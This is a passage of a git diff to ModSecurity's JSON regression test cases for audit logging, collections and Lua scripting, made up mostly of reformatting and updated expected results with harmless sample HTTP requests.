"www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=test¶m2=%20tEst2", + "uri": "/test.pl?param1=test¶m2=%20tEst2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "audit_log": "\\[msg \"testmsg\"\\] \\[data \"testdata\"\\] \\[severity \"7\"\\] \\[ver \"\"\\] \\[maturity \"0\"\\] \\[accuracy \"0\"\\] \\[tag \"testtag1\"\\] \\[tag \"testtag2\"\\]", - "error_log": "", "http_code": 403 }, "rules": [ @@ -335,24 +432,34 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=test¶m2=tEst2", + "uri": "/test.pl?param1=test¶m2=tEst2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "audit_log": "\\[msg \"testmsg\"\\] \\[data \"testdata\"\\] \\[severity \"7\"\\] \\[ver \"\"\\] \\[maturity \"0\"\\] \\[accuracy \"0\"\\] \\[tag \"testtag1\"\\] \\[tag \"testtag2\"\\]", - "error_log": "", "http_code": 403 }, "rules": [ @@ -385,24 +492,34 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=test¶m2=%20tEst2", + "uri": "/test.pl?param1=test¶m2=%20tEst2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "audit_log": "\\[msg \"testmsg\"\\] \\[data \"testdata\"\\] \\[severity \"7\"\\] \\[ver \"\"\\] \\[maturity \"0\"\\] \\[accuracy \"0\"\\] \\[tag \"testtag1\"\\] \\[tag \"testtag2\"\\]", - "error_log": "", "http_code": 403 }, "rules": [ @@ -418,5 +535,353 @@ "SecAuditLogType Serial", "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "auditlog : SecAuditLogPrefix", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" + }, + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "plain/text\n\r", + "Content-Length": "4" + }, + "body": [ + "test" + ] + }, + "expected": { + "audit_log": "\\[audit\\.log]:\\ ---.*\\[audit\\.log]:\\ Keep-Alive", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@contains test\" \"id:1,t:trim,deny,auditlog\"", + "SecAuditEngine RelevantOnly", + "SecAuditLogPrefix \"[audit.log]: \"", + "SecAuditLogParts ABCFHZ", + "SecAuditLogStorageDir /tmp/test", + "SecAuditLog /tmp/audit_test_prefix.log", + "SecAuditLogDirMode 0766", + "SecAuditLogFileMode 0600", + "SecAuditLogType Serial", + "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "auditlog : Binary char from input, check message", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" + }, + "uri": "/?%ADd+allow%3d1+%ADd+auto", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "plain/text\n\r", + "Content-Length": "4" + }, + "body": [ + "test" + ] + }, + "expected": { + "audit_log": "\"match\":\"Matched \\\\\"Operator `ValidateUtf8Encoding' with parameter `' against variable `ARGS_NAMES:\\\\\\\\xadd allow=1 \\\\\\\\xadd auto' \\(Value: `\\\\\\\\xadd allow=1 \\\\\\\\xadd auto' \\)\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES \"@validateUtf8Encoding\" \"id:920250,phase:2,deny,t:none,msg:'UTF8 Encoding Abuse Attack Attempt',logdata:'%{MATCHED_VAR}'", + "SecAuditEngine RelevantOnly", + "SecAuditLogParts ABHJZ", + "SecAuditLogFormat JSON", + "SecAuditLogStorageDir /tmp/test", + "SecAuditLog /tmp/audit_test_prefix.log", + "SecAuditLogDirMode 0766", + "SecAuditLogFileMode 0600", + "SecAuditLogType Serial", + "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "auditlog : Binary char from input, check body", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Type": "application/x-www-form-urlencoded", + "Content-Length": "5" + }, + "uri": "/?attack=true", + "method": "POST", + "http_version": 1.1, + "body": [ + "­=­" + ] + }, + "response": { + "headers": { + "Content-Type": "plain/text\n\r", + "Content-Length": "4" + }, + "body": [ + "test" + ] + }, + "expected": { + "audit_log": "\"body\":\"\\\\\\\\xc2\\\\\\\\xad=\\\\\\\\xc2\\\\\\\\xad", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS_NAMES \"@rx attack\" \"id:1,phase:2,deny,t:none", + "SecAuditEngine RelevantOnly", + "SecAuditLogParts ABCHJZ", + "SecAuditLogFormat JSON", + "SecAuditLogStorageDir /tmp/test", + "SecAuditLog /tmp/audit_test_prefix.log", + "SecAuditLogDirMode 0766", + "SecAuditLogFileMode 0600", + "SecAuditLogType Serial", + "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "auditlog : Binary char from input, check header", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Type": "application/x-www-form-urlencoded", + "Content-Length": "5", + "X-­-custom": "Some ­ value" + }, + "uri": "/?attack=true", + "method": "POST", + "http_version": 1.1, + "body": [ + "­=­" + ] + }, + "response": { + "headers": { + "Content-Type": "plain/text\n\r", + "Content-Length": "4" + }, + "body": [ + "test" + ] + }, + "expected": { + "audit_log": "\"X-\\\\\\\\xc2\\\\\\\\xad-custom\":\"Some \\\\\\\\xc2\\\\\\\\xad value\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS|ARGS_NAMES \"@rx attack\" \"id:1,phase:2,deny,t:none", + "SecAuditEngine RelevantOnly", + "SecAuditLogParts ABHJZ", + "SecAuditLogFormat JSON", + "SecAuditLogStorageDir /tmp/test", + "SecAuditLog /tmp/audit_test_prefix.log", + "SecAuditLogDirMode 0766", + "SecAuditLogFileMode 0600", + "SecAuditLogType Serial", + "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "auditlog : is_interrupted is true when a disruptive rule blocks the request", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "Content-Length": "0" + }, + "uri": "/test.pl?param1=test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "plain/text\n\r", + "Content-Length": "4" + }, + "body": [ + "test" + ] + }, + "expected": { + "audit_log": "\"is_interrupted\":true", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@contains test\" \"id:1900,phase:1,deny,auditlog\"", + "SecAuditEngine RelevantOnly", + "SecAuditLogFormat JSON", + "SecAuditLogParts ABCFHZ", + "SecAuditLog /tmp/audit_test_is_interrupted_true.log", + "SecAuditLogDirMode 0766", + "SecAuditLogFileMode 0600", + "SecAuditLogType Serial", + "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "auditlog : is_interrupted is false when SecRuleEngine is DetectionOnly", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "Content-Length": "0" + }, + "uri": "/test.pl?param1=test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "plain/text\n\r", + "Content-Length": "4" + }, + "body": [ + "test" + ] + }, + "expected": { + "audit_log": "\"is_interrupted\":false", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine DetectionOnly", + "SecRule ARGS \"@contains test\" \"id:1901,phase:1,deny,auditlog\"", + "SecAuditEngine On", + "SecAuditLogFormat JSON", + "SecAuditLogParts ABCFHZ", + "SecAuditLog /tmp/audit_test_is_interrupted_false.log", + "SecAuditLogDirMode 0766", + "SecAuditLogFileMode 0600", + "SecAuditLogType Serial" + ] } ] diff --git a/test/test-cases/regression/collection-case-insensitive.json b/test/test-cases/regression/collection-case-insensitive.json index 83c3a4d818..8db58efe94 100644 --- a/test/test-cases/regression/collection-case-insensitive.json +++ b/test/test-cases/regression/collection-case-insensitive.json @@ -1,57 +1,59 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: Case insensitive (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: Case insensitive (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"matched_var:PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\" \\(Variable: TX:something\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"matched_var:PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\" \\(Variable: TX:something\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_headers \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something=matched_var:%{matched_var}%\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" diff --git a/test/test-cases/regression/collection-lua.json b/test/test-cases/regression/collection-lua.json index 41a352b547..1c20b35f5a 100644 --- a/test/test-cases/regression/collection-lua.json +++ b/test/test-cases/regression/collection-lua.json @@ -1,254 +1,314 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing LUA :: m.set TX (1/6)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"My sweet little browser", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing LUA :: m.set TX (1/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "My sweet little browser", + "Accept": "*/*", "Content-Length": "0" }, - "uri":"/whee?res=1", - "method":"GET", - "body": [ ] + "uri": "/whee?res=1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"2\" \\(Variable: TX.lua_set_var\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"2\" \\(Variable: TX.lua_set_var\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"id:1,pass,setvar:TX.lua_set_var=1\"", "SecRuleScript test-cases/data/setvar.lua \"id:2,pass\"", "SecRule TX.lua_set_var \"@contains 2\" \"id:3,t:none\"" ] - }, + }, { - "enabled":1, - "version_min":300000, - "title":"Testing LUA :: m.set IP (2/6)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"My sweet little browser", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing LUA :: m.set IP (2/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "My sweet little browser", + "Accept": "*/*", "Content-Length": "0" }, - "uri":"/whee?res=1", - "method":"GET", - "body": [ ] + "uri": "/whee?res=1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"2\" \\(Variable: IP:::::lua_set_var\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"2\" \\(Variable: IP:::::lua_set_var\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"id:1,pass,setvar:IP.lua_set_var=1\"", "SecRuleScript test-cases/data/setvar.lua \"id:2,pass\"", "SecRule IP.lua_set_var \"@contains 2\" \"id:3,t:none\"" ] - }, + }, { - "enabled":1, - "version_min":300000, - "title":"Testing LUA :: m.set GLOBAL (3/6)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"My sweet little browser", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing LUA :: m.set GLOBAL (3/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "My sweet little browser", + "Accept": "*/*", "Content-Length": "0" }, - "uri":"/whee?res=1", - "method":"GET", - "body": [ ] + "uri": "/whee?res=1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"2\" \\(Variable: GLOBAL:::::lua_set_var\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"2\" \\(Variable: GLOBAL:::::lua_set_var\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"id:1,pass,setvar:GLOBAL.lua_set_var=1\"", "SecRuleScript test-cases/data/setvar.lua \"id:2,pass\"", "SecRule GLOBAL.lua_set_var \"@contains 2\" \"id:3,t:none\"" ] - }, + }, { - "enabled":1, - "version_min":300000, - "title":"Testing LUA :: m.set RESOURCE (4/6)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"My sweet little browser", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing LUA :: m.set RESOURCE (4/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "My sweet little browser", + "Accept": "*/*", "Content-Length": "0" }, - "uri":"/whee?res=1", - "method":"GET", - "body": [ ] + "uri": "/whee?res=1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"2\" \\(Variable: RESOURCE:::::lua_set_var\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"2\" \\(Variable: RESOURCE:::::lua_set_var\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"id:1,pass,setvar:RESOURCE.lua_set_var=1\"", "SecRuleScript test-cases/data/setvar.lua \"id:2,pass\"", "SecRule RESOURCE.lua_set_var \"@contains 2\" \"id:3,t:none\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing LUA :: m.set SESSION (5/6)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"My sweet little browser", - "Accept":"*/*", + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing LUA :: m.set SESSION (5/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "My sweet little browser", + "Accept": "*/*", "Content-Length": "0" }, - "uri":"/whee?res=1", - "method":"GET", - "body": [ ] + "uri": "/whee?res=1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"2\" \\(Variable: SESSION:::::lua_set_var\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"2\" \\(Variable: SESSION:::::lua_set_var\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"id:1,pass,setvar:SESSION.lua_set_var=1\"", "SecRuleScript test-cases/data/setvar.lua \"id:2,pass\"", "SecRule SESSION.lua_set_var \"@contains 2\" \"id:3,t:none\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing LUA :: m.set USER (6/6)", - "resource":"lua", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"My sweet little browser", - "Accept":"*/*", + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing LUA :: m.set USER (6/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "My sweet little browser", + "Accept": "*/*", "Content-Length": "0" }, - "uri":"/whee?res=1", - "method":"GET", - "body": [ ] + "uri": "/whee?res=1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"2\" \\(Variable: USER:::::lua_set_var\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"2\" \\(Variable: USER:::::lua_set_var\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"id:1,pass,setvar:USER.lua_set_var=1\"", "SecRuleScript test-cases/data/setvar.lua \"id:2,pass\"", "SecRule USER.lua_set_var \"@contains 2\" \"id:3,t:none\"" ] - } + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing LUA :: m.getvars ARGS (8/8)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "My sweet little browser", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/whee?parm1=a&parm2=b", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRuleScript test-cases/data/match-getvars-args.lua \"id:2,phase:2,deny,status:403\"" + ] + } ] diff --git a/test/test-cases/regression/collection-regular_expression_selection.json b/test/test-cases/regression/collection-regular_expression_selection.json index cde06ac767..fb438399cf 100644 --- a/test/test-cases/regression/collection-regular_expression_selection.json +++ b/test/test-cases/regression/collection-regular_expression_selection.json @@ -1,119 +1,124 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX/regular expression (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX/regular expression (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?id_a= test &id_b=test2&nah=nops", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?id_a=test&nah=nops", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"T \\(0\\) t:lowercase: \"test2\"", - "error_log":"" + "expected": { + "debug_log": "Saving variable: IP:nah with value: nops", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRule ARGS:/^id_/ \"@contains nops\" 